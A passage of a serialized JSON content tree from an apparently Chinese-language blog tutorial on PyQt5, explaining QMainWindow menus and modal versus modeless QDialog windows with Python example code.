''''此处补充窗口设置代码'''\n",{"type":18,"tag":297,"props":74454,"children":74455},{"class":299,"line":4533},[74456],{"type":18,"tag":297,"props":74457,"children":74458},{},[74459],{"type":24,"value":74460},"     \n",{"type":18,"tag":297,"props":74462,"children":74463},{"class":299,"line":4546},[74464],{"type":18,"tag":297,"props":74465,"children":74466},{},[74467],{"type":24,"value":72425},{"type":18,"tag":297,"props":74469,"children":74470},{"class":299,"line":4555},[74471],{"type":18,"tag":297,"props":74472,"children":74473},{},[74474],{"type":24,"value":71804},{"type":18,"tag":337,"props":74476,"children":74478},{"id":74477},"qmainwindow",[74479],{"type":24,"value":60430},{"type":18,"tag":34,"props":74481,"children":74482},{},[74483,74488,74490,74495,74497,74502],{"type":18,"tag":74,"props":74484,"children":74486},{"className":74485},[],[74487],{"type":24,"value":60430},{"type":24,"value":74489},"专门用于创建应用程序的主窗口，继承自",{"type":18,"tag":74,"props":74491,"children":74493},{"className":74492},[],[74494],{"type":24,"value":58931},{"type":24,"value":74496},"，是QWidget的子类，自带标准布局，包含菜单栏、工具栏、状态栏、标题栏等，中间部分为主窗口区域。多应用于文本编辑器、浏览器等拥有完整菜单和工具条的应用程序主界面。",{"type":18,"tag":74,"props":74498,"children":74500},{"className":74499},[],[74501],{"type":24,"value":60430},{"type":24,"value":74503},"提供了一些方法如下：",{"type":18,"tag":210,"props":74505,"children":74506},{},[74507,74518,74529,74540],{"type":18,"tag":158,"props":74508,"children":74509},{},[74510,74516],{"type":18,"tag":74,"props":74511,"children":74513},{"className":74512},[],[74514],{"type":24,"value":74515},"menuBar",{"type":24,"value":74517},"：菜单栏",{"type":18,"tag":158,"props":74519,"children":74520},{},[74521,74527],{"type":18,"tag":74,"props":74522,"children":74524},{"className":74523},[],[74525],{"type":24,"value":74526},"toolBar",{"type":24,"value":74528},"：工具栏",{"type":18,"tag":158,"props":74530,"children":74531},{},[74532,74538],{"type":18,"tag":74,"props":74533,"children":74535},{"className":74534},[],[74536],{"type":24,"value":74537},"statusBar",{"type":24,"value":74539},"：状态栏",{"type":18,"tag":158,"props":74541,"children":74542},{},[74543,74549],{"type":18,"tag":74,"props":74544,"children":74546},{"className":74545},[],[74547],{"type":24,"value":74548},"centralWidget",{"type":24,"value":74550},"：中心部件",{"type":18,"tag":34,"props":74552,"children":74553},{},[74554,74556,74561,74563,74568],{"type":24,"value":74555},"以",{"type":18,"tag":74,"props":74557,"children":74559},{"className":74558},[],[74560],{"type":24,"value":74515},{"type":24,"value":74562},"为例，当使用",{"type":18,"tag":74,"props":74564,"children":74566},{"className":74565},[],[74567],{"type":24,"value":74515},{"type":24,"value":74569},"创建一个对象后，该对象将可以使用它包含的几个方法：",{"type":18,"tag":210,"props":74571,"children":74572},{},[74573,74591,74602],{"type":18,"tag":158,"props":74574,"children":74575},{},[74576,74582,74584,74589],{"type":18,"tag":74,"props":74577,"children":74579},{"className":74578},[],[74580],{"type":24,"value":74581},"addMenu(str)",{"type":24,"value":74583},"：向",{"type":18,"tag":74,"props":74585,"children":74587},{"className":74586},[],[74588],{"type":24,"value":74515},{"type":24,"value":74590},"中添加选项",{"type":18,"tag":158,"props":74592,"children":74593},{},[74594,74600],{"type":18,"tag":74,"props":74595,"children":74597},{"className":74596},[],[74598],{"type":24,"value":74599},"addAction(str)",{"type":24,"value":74601},"：向各个选项中添加动作",{"type":18,"tag":158,"props":74603,"children":74604},{},[74605,74611],{"type":18,"tag":74,"props":74606,"children":74608},{"className":74607},[],[74609],{"type":24,"value":74610},"setNativeMenuBar(False)",{"type":24,"value":74612},"：使mac系统菜单栏失效，让其按照Windows菜单栏样式显示",{"type":18,"tag":34,"props":74614,"children":74615},{},[74616],{"type":24,"value":74617},"示例代码如下所示：",{"type":18,"tag":287,"props":74619,"children":74621},{"className":28710,"code":74620,"language":28712,"meta":8,"style":8},"import sys  \nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QLabel  \n  \nif __name__ == '__main__':  \n    app = QApplication(sys.argv)  \n    w = QMainWindow()  \n    \n    # 创建菜单栏\n    menu = w.menuBar()   \n    menu.setNativeMenuBar(False) \n    file_menu = menu.addMenu(\"文件\")  \n    file_menu.addAction(\"新建\")  \n    file_menu.addAction(\"打开\")   \n    user_menu = menu.addMenu(\"用户\")  \n    user_menu.addAction(\"登录\")  \n    user_menu.addAction(\"注册\")  \n    w.setMenuBar(menu)  \n    # 设置主窗口区域  \n    label = QLabel(\"这是主区域\",w)  \n    w.setCentralWidget( label) \n      \n    w.show()  \n    sys.exit(app.exec_())\n",[74622],{"type":18,"tag":74,"props":74623,"children":74624},{"__ignoreMap":8},[74625,74632,74640,74647,74654,74661,74669,74676,74684,74692,74700,74708,74716,74724,74732,74740,74748,74756,74764,74772,74780,74788,74795],{"type":18,"tag":297,"props":74626,"children":74627},{"class":299,"line":300},[74628],{"type":18,"tag":297,"props":74629,"children":74630},{},[74631],{"type":24,"value":42415},{"type":18,"tag":297,"props":74633,"children":74634},{"class":299,"line":657},[74635],{"type":18,"tag":297,"props":74636,"children":74637},{},[74638],{"type":24,"value":74639},"from PyQt5.QtWidgets import QApplication, QMainWindow, QLabel  \n",{"type":18,"tag":297,"props":74641,"children":74642},{"class":299,"line":662},[74643],{"type":18,"tag":297,"props":74644,"children":74645},{},[74646],{"type":24,"value":36783},{"type":18,"tag":297,"props":74648,"children":74649},{"class":299,"line":799},[74650],{"type":18,"tag":297,"props":74651,"children":74652},{},[74653],{"type":24,"value":42431},{"type":18,"tag":297,"props":74655,"children":74656},{"class":299,"line":808},[74657],{"type":18,"tag":297,"props":74658,"children":74659},{},[74660],{"type":24,"value":71780},{"type":18,"tag":297,"props":74662,"children":74663},{"class":299,"line":817},[74664],{"type":18,"tag":297,"props":74665,"children":74666},{},[74667],{"type":24,"value":74668},"    w = QMainWindow()  \n",{"type":18,"tag":297,"props":74670,"children":74671},{"class":299,"line":826},[74672],{"type":18,"tag":297,"props":74673,"children":74674},{},[74675],{"type":24,"value":12715},{"type":18,"tag":297,"props":74677,"children":74678},{"class":299,"line":4524},[74679],{"type":18,"tag":297,"props":74680,"children":74681},{},[74682],{"type":24,"value":74683},"    # 创建菜单栏\n",{"type":18,"tag":297,"props":74685,"children":74686},{"class":299,"line":4533},[74687],{"type":18,"tag":297,"props":74688,"children":74689},{},[74690],{"type":24,"value":74691},"    menu = w.menuBar()   \n",{"type":18,"tag":297,"props":74693,"children":74694},{"class":299,"line":4546},[74695],{"type":18,"tag":297,"props":74696,"children":74697},{},[74698],{"type":24,"value":74699},"    menu.setNativeMenuBar(False) \n",{"type":18,"tag":297,"props":74701,"children":74702},{"class":299,"line":4555},[74703],{"type":18,"tag":297,"props":74704,"children":74705},{},[74706],{"type":24,"value":74707},"    file_menu = menu.addMenu(\"文件\")  \n",{"type":18,"tag":297,"props":74709,"children":74710},{"class":299,"line":4568},[74711],{"type":18,"tag":297,"props":74712,"children":74713},{},[74714],{"type":24,"value":74715},"    file_menu.addAction(\"新建\")  \n",{"type":18,"tag":297,"props":74717,"children":74718},{"class":299,"line":4577},[74719],{"type":18,"tag":297,"props":74720,"children":74721},{},[74722],{"type":24,"value":74723},"    file_menu.addAction(\"打开\")   \n",{"type":18,"tag":297,"props":74725,"children":74726},{"class":299,"line":4590},[74727],{"type":18,"tag":297,"props":74728,"children":74729},{},[74730],{"type":24,"value":74731},"    user_menu = menu.addMenu(\"用户\")  \n",{"type":18,"tag":297,"props":74733,"children":74734},{"class":299,"line":4599},[74735],{"type":18,"tag":297,"props":74736,"children":74737},{},[74738],{"type":24,"value":74739},"    user_menu.addAction(\"登录\")  \n",{"type":18,"tag":297,"props":74741,"children":74742},{"class":299,"line":4607},[74743],{"type":18,"tag":297,"props":74744,"children":74745},{},[74746],{"type":24,"value":74747},"    user_menu.addAction(\"注册\")  \n",{"type":18,"tag":297,"props":74749,"children":74750},{"class":299,"line":4616},[74751],{"type":18,"tag":297,"props":74752,"children":74753},{},[74754],{"type":24,"value":74755},"    w.setMenuBar(menu)  \n",{"type":18,"tag":297,"props":74757,"children":74758},{"class":299,"line":4624},[74759],{"type":18,"tag":297,"props":74760,"children":74761},{},[74762],{"type":24,"value":74763},"    # 设置主窗口区域  \n",{"type":18,"tag":297,"props":74765,"children":74766},{"class":299,"line":4633},[74767],{"type":18,"tag":297,"props":74768,"children":74769},{},[74770],{"type":24,"value":74771},"    label = QLabel(\"这是主区域\",w)  \n",{"type":18,"tag":297,"props":74773,"children":74774},{"class":299,"line":4641},[74775],{"type":18,"tag":297,"props":74776,"children":74777},{},[74778],{"type":24,"value":74779},"    w.setCentralWidget( label) \n",{"type":18,"tag":297,"props":74781,"children":74782},{"class":299,"line":4650},[74783],{"type":18,"tag":297,"props":74784,"children":74785},{},[74786],{"type":24,"value":74787},"      \n",{"type":18,"tag":297,"props":74789,"children":74790},{"class":299,"line":4658},[74791],{"type":18,"tag":297,"props":74792,"children":74793},{},[74794],{"type":24,"value":72425},{"type":18,"tag":297,"props":74796,"children":74797},{"class":299,"line":4681},[74798],{"type":18,"tag":297,"props":74799,"children":74800},{},[74801],{"type":24,"value":46231},{"type":18,"tag":337,"props":74803,"children":74805},{"id":74804},"qdialog",[74806],{"type":24,"value":74807},"QDialog",{"type":18,"tag":34,"props":74809,"children":74810},{},[74811,74816,74818,74823,74825,74830],{"type":18,"tag":74,"props":74812,"children":74814},{"className":74813},[],[74815],{"type":24,"value":74807},{"type":24,"value":74817},"用于创建对话框窗口，继承自",{"type":18,"tag":74,"props":74819,"children":74821},{"className":74820},[],[74822],{"type":24,"value":58931},{"type":24,"value":74824},"，主要用于与用户进行短期交互（如提示、设置、确认等），多应用于打开文件对话框、设置对话框、确认删除等提示框。",{"type":18,"tag":74,"props":74826,"children":74828},{"className":74827},[],[74829],{"type":24,"value":74807},{"type":24,"value":74831},"主要有两种特点：",{"type":18,"tag":210,"props":74833,"children":74834},{},[74835,74848],{"type":18,"tag":158,"props":74836,"children":74837},{},[74838,74840,74846],{"type":24,"value":74839},"模态（阻塞父窗口操作），通过",{"type":18,"tag":74,"props":74841,"children":74843},{"className":74842},[],[74844],{"type":24,"value":74845},"exec()",{"type":24,"value":74847},"方法显示模态对话框",{"type":18,"tag":158,"props":74849,"children":74850},{},[74851,74853,74859],{"type":24,"value":74852},"非模态（不阻塞父窗口操作），通过",{"type":18,"tag":74,"props":74854,"children":74856},{"className":74855},[],[74857],{"type":24,"value":74858},"show()",{"type":24,"value":74860},"显示非模态对话框",{"type":18,"tag":431,"props":74862,"children":74863},{},[74864,74894],{"type":18,"tag":435,"props":74865,"children":74866},{},[74867],{"type":18,"tag":439,"props":74868,"children":74869},{},[74870,74878,74886],{"type":18,"tag":443,"props":74871,"children":74872},{},[74873],{"type":18,"tag":105,"props":74874,"children":74875},{},[74876],{"type":24,"value":74877},"特性",{"type":18,"tag":443,"props":74879,"children":74880},{},[74881],{"type":18,"tag":105,"props":74882,"children":74883},{},[74884],{"type":24,"value":74885},"模态对话框 (Modal)",{"type":18,"tag":443,"props":74887,"children":74888},{},[74889],{"type":18,"tag":105,"props":74890,"children":74891},{},[74892],{"type":24,"value":74893},"非模态对话框 (Modeless)",{"type":18,"tag":459,"props":74895,"children":74896},{},[74897,74918,74952],{"type":18,"tag":439,"props":74898,"children":74899},{},[74900,74908,74913],{"type":18,"tag":466,"props":74901,"children":74902},{},[74903],{"type":18,"tag":105,"props":74904,"children":74905},{},[74906],{"type":24,"value":74907},"阻塞行为",{"type":18,"tag":466,"props":74909,"children":74910},{},[74911],{"type":24,"value":74912},"阻塞父窗口，必须关闭后才能操作其他窗口",{"type":18,"tag":466,"props":74914,"children":74915},{},[74916],{"type":24,"value":74917},"不阻塞父窗口，可同时操作多个窗口",{"type":18,"tag":439,"props":74919,"children":74920},{},[74921,74929,74944],{"type":18,"tag":466,"props":74922,"children":74923},{},[74924],{"type":18,"tag":105,"props":74925,"children":74926},{},[74927],{"type":24,"value":74928},"创建方法",{"type":18,"tag":466,"props":74930,"children":74931},{},[74932,74937,74938],{"type":18,"tag":74,"props":74933,"children":74935},{"className":74934},[],[74936],{"type":24,"value":74845},{"type":24,"value":26222},{"type":18,"tag":74,"props":74939,"children":74941},{"className":74940},[],[74942],{"type":24,"value":74943},"setModal(True)+show()",{"type":18,"tag":466,"props":74945,"children":74946},{},[74947],{"type":18,"tag":74,"props":74948,"children":74950},{"className":74949},[],[74951],{"type":24,"value":74858},{"type":18,"tag":439,"props":74953,"children":74954},{},[74955,74963,74968],{"type":18,"tag":466,"props":74956,"children":74957},{},[74958],{"type":18,"tag":105,"props":74959,"children":74960},{},[74961],{"type":24,"value":74962},"使用场景",{"type":18,"tag":466,"props":74964,"children":74965},{},[74966],{"type":24,"value":74967},"必须立即处理的交互（如确认删除）",{"type":18,"tag":466,"props":74969,"children":74970},{},[74971],{"type":24,"value":74972},"辅助工具（如浮动搜索框）",{"type":18,"tag":34,"props":74974,"children":74975},{},[74976],{"type":24,"value":74977},"模态对话框 (阻塞式)，打开对话框后，无法点击主窗口的任何部分。示例代码如下：",{"type":18,"tag":287,"props":74979,"children":74981},{"className":28710,"code":74980,"language":28712,"meta":8,"style":8},"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QDialog, QPushButton, QVBoxLayout, QLabel\n\nclass ModalDialog(QDialog):\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle(\"模态对话框\")\n        layout = QVBoxLayout()\n        layout.addWidget(QLabel(\"我是模态对话框！关闭我才能操作主窗口\"))\n        self.setLayout(layout)\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle(\"主窗口\")\n        self.setGeometry(300, 300, 300, 200)\n        \n        btn = QPushButton(\"打开模态对话框\", self)\n        btn.clicked.connect(self.open_modal)\n        self.setCentralWidget(btn)\n\n    def open_modal(self):\n        dialog = ModalDialog()\n        dialog.exec()  # 关键：使用exec()阻塞主窗口\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    window = MainWindow()\n    window.show()\n    sys.exit(app.exec_())\n",[74982],{"type":18,"tag":74,"props":74983,"children":74984},{"__ignoreMap":8},[74985,74992,75000,75007,75015,75022,75030,75038,75046,75054,75062,75069,75077,75084,75091,75099,75107,75114,75122,75130,75138,75145,75153,75161,75169,75176,75183,75191,75199,75207],{"type":18,"tag":297,"props":74986,"children":74987},{"class":299,"line":300},[74988],{"type":18,"tag":297,"props":74989,"children":74990},{},[74991],{"type":24,"value":32723},{"type":18,"tag":297,"props":74993,"children":74994},{"class":299,"line":657},[74995],{"type":18,"tag":297,"props":74996,"children":74997},{},[74998],{"type":24,"value":74999},"from PyQt5.QtWidgets import QApplication, QMainWindow, QDialog, QPushButton, QVBoxLayout, QLabel\n",{"type":18,"tag":297,"props":75001,"children":75002},{"class":299,"line":662},[75003],{"type":18,"tag":297,"props":75004,"children":75005},{"emptyLinePlaceholder":793},[75006],{"type":24,"value":796},{"type":18,"tag":297,"props":75008,"children":75009},{"class":299,"line":799},[75010],{"type":18,"tag":297,"props":75011,"children":75012},{},[75013],{"type":24,"value":75014},"class ModalDialog(QDialog):\n",{"type":18,"tag":297,"props":75016,"children":75017},{"class":299,"line":808},[75018],{"type":18,"tag":297,"props":75019,"children":75020},{},[75021],{"type":24,"value":39540},{"type":18,"tag":297,"props":75023,"children":75024},{"class":299,"line":817},[75025],{"type":18,"tag":297,"props":75026,"children":75027},{},[75028],{"type":24,"value":75029},"        super().__init__()\n",{"type":18,"tag":297,"props":75031,"children":75032},{"class":299,"line":826},[75033],{"type":18,"tag":297,"props":75034,"children":75035},{},[75036],{"type":24,"value":75037},"        self.setWindowTitle(\"模态对话框\")\n",{"type":18,"tag":297,"props":75039,"children":75040},{"class":299,"line":4524},[75041],{"type":18,"tag":297,"props":75042,"children":75043},{},[75044],{"type":24,"value":75045},"        layout = QVBoxLayout()\n",{"type":18,"tag":297,"props":75047,"children":75048},{"class":299,"line":4533},[75049],{"type":18,"tag":297,"props":75050,"children":75051},{},[75052],{"type":24,"value":75053},"        layout.addWidget(QLabel(\"我是模态对话框！关闭我才能操作主窗口\"))\n",{"type":18,"tag":297,"props":75055,"children":75056},{"class":299,"line":4546},[75057],{"type":18,"tag":297,"props":75058,"children":75059},{},[75060],{"type":24,"value":75061},"        self.setLayout(layout)\n",{"type":18,"tag":297,"props":75063,"children":75064},{"class":299,"line":4555},[75065],{"type":18,"tag":297,"props":75066,"children":75067},{"emptyLinePlaceholder":793},[75068],{"type":24,"value":796},{"type":18,"tag":297,"props":75070,"children":75071},{"class":299,"line":4568},[75072],{"type":18,"tag":297,"props":75073,"children":75074},{},[75075],{"type":24,"value":75076},"class MainWindow(QMainWindow):\n",{"type":18,"tag":297,"props":75078,"children":75079},{"class":299,"line":4577},[75080],{"type":18,"tag":297,"props":75081,"children":75082},{},[75083],{"type":24,"value":39540},{"type":18,"tag":297,"props":75085,"children":75086},{"class":299,"line":4590},[75087],{"type":18,"tag":297,"props":75088,"children":75089},{},[75090],{"type":24,"value":75029},{"type":18,"tag":297,"props":75092,"children":75093},{"class":299,"line":4599},[75094],{"type":18,"tag":297,"props":75095,"children":75096},{},[75097],{"type":24,"value":75098},"        self.setWindowTitle(\"主窗口\")\n",{"type":18,"tag":297,"props":75100,"children":75101},{"class":299,"line":4607},[75102],{"type":18,"tag":297,"props":75103,"children":75104},{},[75105],{"type":24,"value":75106},"        self.setGeometry(300, 300, 300, 200)\n",{"type":18,"tag":297,"props":75108,"children":75109},{"class":299,"line":4616},[75110],{"type":18,"tag":297,"props":75111,"children":75112},{},[75113],{"type":24,"value":39632},{"type":18,"tag":297,"props":75115,"children":75116},{"class":299,"line":4624},[75117],{"type":18,"tag":297,"props":75118,"children":75119},{},[75120],{"type":24,"value":75121},"        btn = QPushButton(\"打开模态对话框\", self)\n",{"type":18,"tag":297,"props":75123,"children":75124},{"class":299,"line":4633},[75125],{"type":18,"tag":297,"props":75126,"children":75127},{},[75128],{"type":24,"value":75129},"        btn.clicked.connect(self.open_modal)\n",{"type":18,"tag":297,"props":75131,"children":75132},{"class":299,"line":4641},[75133],{"type":18,"tag":297,"props":75134,"children":75135},{},[75136],{"type":24,"value":75137},"        self.setCentralWidget(btn)\n",{"type":18,"tag":297,"props":75139,"children":75140},{"class":299,"line":4650},[75141],{"type":18,"tag":297,"props":75142,"children":75143},{"emptyLinePlaceholder":793},[75144],{"type":24,"value":796},{"type":18,"tag":297,"props":75146,"children":75147},{"class":299,"line":4658},[75148],{"type":18,"tag":297,"props":75149,"children":75150},{},[75151],{"type":24,"value":75152},"    def open_modal(self):\n",{"type":18,"tag":297,"props":75154,"children":75155},{"class":299,"line":4681},[75156],{"type":18,"tag":297,"props":75157,"children":75158},{},[75159],{"type":24,"value":75160},"        dialog = ModalDialog()\n",{"type":18,"tag":297,"props":75162,"children":75163},{"class":299,"line":4703},[75164],{"type":18,"tag":297,"props":75165,"children":75166},{},[75167],{"type":24,"value":75168},"        dialog.exec()  # 关键：使用exec()阻塞主窗口\n",{"type":18,"tag":297,"props":75170,"children":75171},{"class":299,"line":4711},[75172],{"type":18,"tag":297,"props":75173,"children":75174},{"emptyLinePlaceholder":793},[75175],{"type":24,"value":796},{"type":18,"tag":297,"props":75177,"children":75178},{"class":299,"line":4720},[75179],{"type":18,"tag":297,"props":75180,"children":75181},{},[75182],{"type":24,"value":35305},{"type":18,"tag":297,"props":75184,"children":75185},{"class":299,"line":4728},[75186],{"type":18,"tag":297,"props":75187,"children":75188},{},[75189],{"type":24,"value":75190},"    app = QApplication(sys.argv)\n",{"type":18,"tag":297,"props":75192,"children":75193},{"class":299,"line":13515},[75194],{"type":18,"tag":297,"props":75195,"children":75196},{},[75197],{"type":24,"value":75198},"    window = MainWindow()\n",{"type":18,"tag":297,"props":75200,"children":75201},{"class":299,"line":13553},[75202],{"type":18,"tag":297,"props":75203,"children":75204},{},[75205],{"type":24,"value":75206},"    window.show()\n",{"type":18,"tag":297,"props":75208,"children":75209},{"class":299,"line":13591},[75210],{"type":18,"tag":297,"props":75211,"children":75212},{},[75213],{"type":24,"value":46231},{"type":18,"tag":34,"props":75215,"children":75216},{},[75217],{"type":24,"value":75218},"非模态对话框 (非阻塞式)，对话框和主窗口可同时操作，互不影响。示例代码如下：",{"type":18,"tag":287,"props":75220,"children":75222},{"className":28710,"code":75221,"language":28712,"meta":8,"style":8},"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QDialog, QPushButton, QVBoxLayout, QLabel\n\nclass ModelessDialog(QDialog):\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle(\"非模态对话框\")\n        layout = QVBoxLayout()\n        layout.addWidget(QLabel(\"我是非模态对话框！可同时操作主窗口\"))\n        self.setLayout(layout)\n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle(\"主窗口\")\n        self.setGeometry(300, 300, 300, 200)\n        \n        btn = QPushButton(\"打开非模态对话框\", self)\n        btn.clicked.connect(self.open_modeless)\n        self.setCentralWidget(btn)\n        self.dialog = None  # 防止对话框被垃圾回收\n\n    def open_modeless(self):\n        if not self.dialog:\n            self.dialog = ModelessDialog()\n        self.dialog.show()  # 关键：使用show()不阻塞\n\nif __name__ == \"__main__\":\n    app = QApplication(sys.argv)\n    window = MainWindow()\n    window.show()\n    sys.exit(app.exec_())\n",[75223],{"type":18,"tag":74,"props":75224,"children":75225},{"__ignoreMap":8},[75226,75233,75240,75247,75255,75262,75269,75277,75284,75292,75299,75306,75313,75320,75327,75334,75341,75348,75356,75364,75371,75379,75386,75394,75402,75410,75418,75425,75432,75439,75446,75453],{"type":18,"tag":297,"props":75227,"children":75228},{"class":299,"line":300},[75229],{"type":18,"tag":297,"props":75230,"children":75231},{},[75232],{"type":24,"value":32723},{"type":18,"tag":297,"props":75234,"children":75235},{"class":299,"line":657},[75236],{"type":18,"tag":297,"props":75237,"children":75238},{},[75239],{"type":24,"value":74999},{"type":18,"tag":297,"props":75241,"children":75242},{"class":299,"line":662},[75243],{"type":18,"tag":297,"props":75244,"children":75245},{"emptyLinePlaceholder":793},[75246],{"type":24,"value":796},{"type":18,"tag":297,"props":75248,"children":75249},{"class":299,"line":799},[75250],{"type":18,"tag":297,"props":75251,"children":75252},{},[75253],{"type":24,"value":75254},"class ModelessDialog(QDialog):\n",{"type":18,"tag":297,"props":75256,"children":75257},{"class":299,"line":808},[75258],{"type":18,"tag":297,"props":75259,"children":75260},{},[75261],{"type":24,"value":39540},{"type":18,"tag":297,"props":75263,"children":75264},{"class":299,"line":817},[75265],{"type":18,"tag":297,"props":75266,"children":75267},{},[75268],{"type":24,"value":75029},{"type":18,"tag":297,"props":75270,"children":75271},{"class":299,"line":826},[75272],{"type":18,"tag":297,"props":75273,"children":75274},{},[75275],{"type":24,"value":75276},"        self.setWindowTitle(\"非模态对话框\")\n",{"type":18,"tag":297,"props":75278,"children":75279},{"class":299,"line":4524},[75280],{"type":18,"tag":297,"props":75281,"children":75282},{},[75283],{"type":24,"value":75045},{"type":18,"tag":297,"props":75285,"children":75286},{"class":299,"line":4533},[75287],{"type":18,"tag":297,"props":75288,"children":75289},{},[75290],{"type":24,"value":75291},"        layout.addWidget(QLabel(\"我是非模态对话框！可同时操作主窗口\"))\n",{"type":18,"tag":297,"props":75293,"children":75294},{"class":299,"line":4546},[75295],{"type":18,"tag":297,"props":75296,"children":75297},{},[75298],{"type":24,"value":75061},{"type":18,"tag":297,"props":75300,"children":75301},{"class":299,"line":4555},[75302],{"type":18,"tag":297,"props":75303,"children":75304},{"emptyLinePlaceholder":793},[75305],{"type":24,"value":796},{"type":18,"tag":297,"props":75307,"children":75308},{"class":299,"line":4568},[75309],{"type":18,"tag":297,"props":75310,"children":75311},{},[75312],{"type":24,"value":75076},{"type":18,"tag":297,"props":75314,"children":75315},{"class":299,"line":4577},[75316],{"type":18,"tag":297,"props":75317,"children":75318},{},[75319],{"type":24,"value":39540},{"type":18,"tag":297,"props":75321,"children":75322},{"class":299,"line":4590},[75323],{"type":18,"tag":297,"props":75324,"children":75325},{},[75326],{"type":24,"value":75029},{"type":18,"tag":297,"props":75328,"children":75329},{"class":299,"line":4599},[75330],{"type":18,"tag":297,"props":75331,"children":75332},{},[75333],{"type":24,"value":75098},{"type":18,"tag":297,"props":75335,"children":75336},{"class":299,"line":4607},[75337],{"type":18,"tag":297,"props":75338,"children":75339},{},[75340],{"type":24,"value":75106},{"type":18,"tag":297,"props":75342,"children":75343},{"class":299,"line":4616},[75344],{"type":18,"tag":297,"props":75345,"children":75346},{},[75347],{"type":24,"value":39632},{"type":18,"tag":297,"props":75349,"children":75350},{"class":299,"line":4624},[75351],{"type":18,"tag":297,"props":75352,"children":75353},{},[75354],{"type":24,"value":75355},"        btn = QPushButton(\"打开非模态对话框\", self)\n",{"type":18,"tag":297,"props":75357,"children":75358},{"class":299,"line":4633},[75359],{"type":18,"tag":297,"props":75360,"children":75361},{},[75362],{"type":24,"value":75363},"        btn.clicked.connect(self.open_modeless)\n",{"type":18,"tag":297,"props":75365,"children":75366},{"class":299,"line":4641},[75367],{"type":18,"tag":297,"props":75368,"children":75369},{},[75370],{"type":24,"value":75137},{"type":18,"tag":297,"props":75372,"children":75373},{"class":299,"line":4650},[75374],{"type":18,"tag":297,"props":75375,"children":75376},{},[75377],{"type":24,"value":75378},"        self.dialog = None  # 防止对话框被垃圾回收\n",{"type":18,"tag":297,"props":75380,"children":75381},{"class":299,"line":4658},[75382],{"type":18,"tag":297,"props":75383,"children":75384},{"emptyLinePlaceholder":793},[75385],{"type":24,"value":796},{"type":18,"tag":297,"props":75387,"children":75388},{"class":299,"line":4681},[75389],{"type":18,"tag":297,"props":75390,"children":75391},{},[75392],{"type":24,"value":75393},"    def open_modeless(self):\n",{"type":18,"tag":297,"props":75395,"children":75396},{"class":299,"line":4703},[75397],{"type":18,"tag":297,"props":75398,"children":75399},{},[75400],{"type":24,"value":75401},"        if not self.dialog:\n",{"type":18,"tag":297,"props":75403,"children":75404},{"class":299,"line":4711},[75405],{"type":18,"tag":297,"props":75406,"children":75407},{},[75408],{"type":24,"value":75409},"            self.dialog = ModelessDialog()\n",{"type":18,"tag":297,"props":75411,"children":75412},{"class":299,"line":4720},[75413],{"type":18,"tag":297,"props":75414,"children":75415},{},[75416],{"type":24,"value":75417},"        self.dialog.show()  # 关键：使用show()不阻塞\n",{"type":18,"tag":297,"props":75419,"children":75420},{"class":299,"line":4728},[75421],{"type":18,"tag":297,"props":75422,"children":75423},{"emptyLinePlaceholder":793},[75424],{"type":24,"value":796},{"type":18,"tag":297,"props":75426,"children":75427},{"class":299,"line":13515},[75428],{"type":18,"tag":297,"props":75429,"children":75430},{},[75431],{"type":24,"value":35305},{"type":18,"tag":297,"props":75433,"children":75434},{"class":299,"line":13553},[75435],{"type":18,"tag":297,"props":75436,"children":75437},{},[75438],{"type":24,"value":75190},{"type":18,"tag":297,"props":75440,"children":75441},{"class":299,"line":13591},[75442],{"type":18,"tag":297,"props":75443,"children":75444},{},[75445],{"type":24,"value":75198},{"type":18,"tag":297,"props":75447,"children":75448},{"class":299,"line":13624},[75449],{"type":18,"tag":297,"props":75450,"children":75451},{},[75452],{"type":24,"value":75206},{"type":18,"tag":297,"props":75454,"children":75455},{"class":299,"line":13632},[75456],{"type":18,"tag":297,"props":75457,"children":75458},{},[75459],{"type":24,"value":46231},{"type":18,"tag":96,"props":75461,"children":75462},{},[75463],{"type":18,"tag":34,"props":75464,"children":75465},{},[75466,75470,75472,75478,75480,75485],{"type":18,"tag":105,"props":75467,"children":75468},{},[75469],{"type":24,"value":25744},{"type":24,"value":75471},"：非模态对话框需保存引用（如",{"type":18,"tag":74,"props":75473,"children":75475},{"className":75474},[],[75476],{"type":24,"value":75477},"self.dialog",{"type":24,"value":75479},"），否则可能被Python垃圾回收机制销毁。模态对话框因",{"type":18,"tag":74,"props":75481,"children":75483},{"className":75482},[],[75484],{"type":24,"value":74845},{"type":24,"value":75486},"会保持对象存活。",{"type":18,"tag":651,"props":75488,"children":75489},{},[75490],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":75492},[75493,75494,75495,75496,75497,75498,75499],{"id":71938,"depth":662,"text":71941},{"id":71996,"depth":662,"text":71999},{"id":72229,"depth":662,"text":72229},{"id":72284,"depth":662,"text":72287},{"id":73139,"depth":662,"text":73139},{"id":74129,"depth":662,"text":74129},{"id":74342,"depth":662,"text":74342},"content:blog:2025-07-15-pyqt5-PyQt5快速入门.md","blog\u002F2025-07-15-pyqt5-PyQt5快速入门.md","blog\u002F2025-07-15-pyqt5-PyQt5快速入门",{"_path":75504,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":75505,"description":75506,"date":75507,"tags":75508,"body":75510,"_type":672,"_id":81142,"_source":674,"_file":81143,"_stem":81144,"_extension":677},"\u002Fblog\u002F2025-07-13-python","Python-面向对象编程","Python面向对象编程：类与对象、继承、多态、封装、魔术方法与设计模式。","2025-07-13",[28616,75509],"基础",{"type":15,"children":75511,"toc":81107},[75512,75515,75521,75531,75536,75542,75547,75555,75586,75594,75602,75608,75625,75633,75638,75644,75652,75658,75670,75687,75695,75701,75713,75721,75732,75738,75755,75763,75769,75774,75780,75793,75824,75829,75906,75911,75942,75948,75953,75958,75972,76040,76045,76068,76073,76081,76094,76106,76140,76168,76180,76232,76237,76245,76257,76262,76315,76326,76334,76388,76488,76496,76541,76554,76660,76664,76742,76755,76872,76878,76995,77008,77138,77144,77367,77372,77510,77548,77554,77559,77565,77575,77598,77602,77647,77655,77660,77674,77678,77720,77725,77733,77775,77921,77926,77934,77940,77948,77954,77964,77972,77977,78070,78075,78089,78094,78102,78107,78112,78120,78139,78294,78299,78307,78318,